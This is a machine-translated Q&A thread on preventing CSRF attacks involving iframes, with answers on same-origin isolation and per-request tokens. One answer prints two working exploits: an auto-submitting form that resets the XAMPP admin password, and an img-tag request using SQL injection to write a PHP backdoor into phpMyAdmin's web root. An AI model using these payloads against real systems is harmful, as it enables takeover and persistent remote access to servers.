如何防止涉及嵌入式iframe的CSRF/XSRF攻击？

有没有办法限制允许iframe在父级中执行的操作？我所寻找的是一个安全模型周围的Javascript，看起来像：如何防止涉及嵌入式iframe的CSRF/XSRF攻击？

两个“trusted.html的模样：

<html><body> 
<script type="text/javascript"> 
function InternalCall() 
{ 
    window.parent.AllowedToAccess(); 
} 

function InternalCall2() 
{ 
    window.parent.NotAllowedToAccess(); 
} 
</script> 
<security> 
javascript:window.parent { 
    Allow javascript:document.body.offsetHeight; 
    Allow javascript:document.title; 
} 

script.untrusted { 
    Deny All; 
} 
</security> 
<script type="text/javascript"> 
window.parent.AllowedToAccess(); 
InternalCall(); 
</script> 
<script type="text/javascript" src="http://www.anothersite.com/untrusted.js" secclass="untrusted"></script> 
<script type="text/javascript"> 
window.parent.NotAllowedToAccess(); 
InternalCall2(); 
window.parent.jQuery(window.parent.body).append('<div id="badid"></div>'); 
window.parent.jQuery('#badid').load('SomethingIShouldnt.php'); 
</script> 
</body> 
</html>

和'SomethingIShouldnt.php很像：

NotAllowedToAccess();

和 'untrusted.js' 的样子：

window.parent.AllowedToAccess(); 
InternalCall(); 
window.parent.NotAllowedToAccess(); 
InternalCall2(); 
window.parent.jQuery(body).append('<div id="badid"></div>'); 
window.parent.jQuery('#badid').load('SomethingIShouldn't.php');

（呃...对于过度杀伤对不起）

你会注意到HTML代码中不存在的'安全'标签。我正在思考一些CSS selector-ish声明的问题，其中包含一些类似Apache的安全语法，用于定义规则。（我没有使用window.parent规则，但它有希望向阻止跨站点脚本编写的浏览器演示一个体面的解决方法，这对于处理非常令人沮丧 - “我相信父窗口只能访问我窗口的高度，标题”）。我希望像这样的东西已经以某种形式存在（甚至是草稿）。但恐怕答案是'不'。

这可以完成（甚至部分）吗？如果不是，那么我需要与谁谈话才能实现这样的目标（标准委员会或浏览器实施者）？当然，假设这甚至有意义？

来源

2010-01-26 Cookie Monster

写入漏洞利用是证明安全系统免受攻击的唯一方法。一个安全系统是危险的，直到它被证明保证你的安全。 – rook 2010-01-26 16:48:43

简短的答案是否定的，XSRF与iframe无关。

如果伪造的请求来自iframe，则无关紧要。伪造的请求必须来自另一台服务器，以便攻击者利用它。黑客用户的内嵌框架，因为它们可以用于在XSRF漏洞利用中伪造发布请求，因为漏洞利用必须使用javascript来自动提交论坛。这是一个真实世界的XSRF漏洞，我根据XAMPP编写，它改变了管理密码。最好在iframe中执行这个javascript/html，这样它对受害者是不可见的，但是这个漏洞可能只是在没有iframe的情况下重定向整个窗口，它仍然会改变管理员的密码。

<html> 
<form action='http://10.1.1.10/security/xamppsecurity.php' method='POST' id=1> 
      <input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1"> 
    <input type=hidden name="xamppuser" value=admin > 
    <input type=hidden name="xampppasswd" value=password> 
    <input type=hidden name="xamppaccess" value="Make+safe+the+XAMPP+directory"> 
    <input type=submit> 
</form> 
</html> 
<script> 
document.getElementById(1).submit(); 
</script>

但如果XSRF攻击的就是基础，然后一个iframe不帮助攻击。最好使用img标签在受害者浏览器上自动发送伪造的请求。这是我为PHPMyAdmin 3.1.0编写的另一个漏洞。这会在web根目录上传一个php后门程序。这个漏洞很棒，因为它可以在启用noscript的情况下工作，并影响系统的TON。

<html> 
<img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1"> 
</html>

来源

2010-01-26 04:39:39 rook

漏洞永远不会“真棒”。他们浪费了每个人的时间。我对我的场景更感兴趣，据我所知，这个场景符合CSRF（假设父窗口有人在某种网站上以管理员权限查看网页）。我对我的场景进行了快速测试，并且能够使用管理员权限执行Javascript（包括AJAX调用），尽管不受信任的Javascript来自完全不同的域。 “CSRF利用网站在用户浏览器中的信任。”这似乎有资格。 – 2010-01-26 05:41:18

黑客入侵将永远是一个神奇的东西，直到你掌握了剥削的艺术。 – rook 2010-01-26 06:27:16

绝对错误。 – 2010-01-26 07:05:50

您可以使用相同原点策略（SOP）。

将iframe src设置为不同的端口，子域或域，并且iframe将无法访问父级内容。

即：在页面

http://www.mydomain.com/mypage.html

和iframe中，以下

http://www.mydomain.com:4255/iframeSrc.html 
http://secure.mydomain.com/iframeSrc.html 
http://www.secure-mydomain.com/iframeSrc.html

一个但这不会阻止CSRF如果只依靠在你的页面提供一个cookie 。
如果有人知道如何在服务器上发布请求，他将能够做到这一点。

防止这种最简单的方法是在你的页面有你通过为每个请求的JavaScript变量（由该SOP的iframe无法访问）。

有些东西可能会让你感兴趣，并为垃圾邮件感到抱歉，因为我今天已经发布了一些关于它的内容，我们使用iframe来对沙箱JSONP调用进行调用，但是要启用它们之间的安全字符串通信。

Here is the description它是如何工作的，并且有一个演示页面可以看到它正在运行。

来源

2010-01-26 11:02:16 Mic

如何防止涉及嵌入式iframe的CSRF/XSRF攻击？

回答

相关问题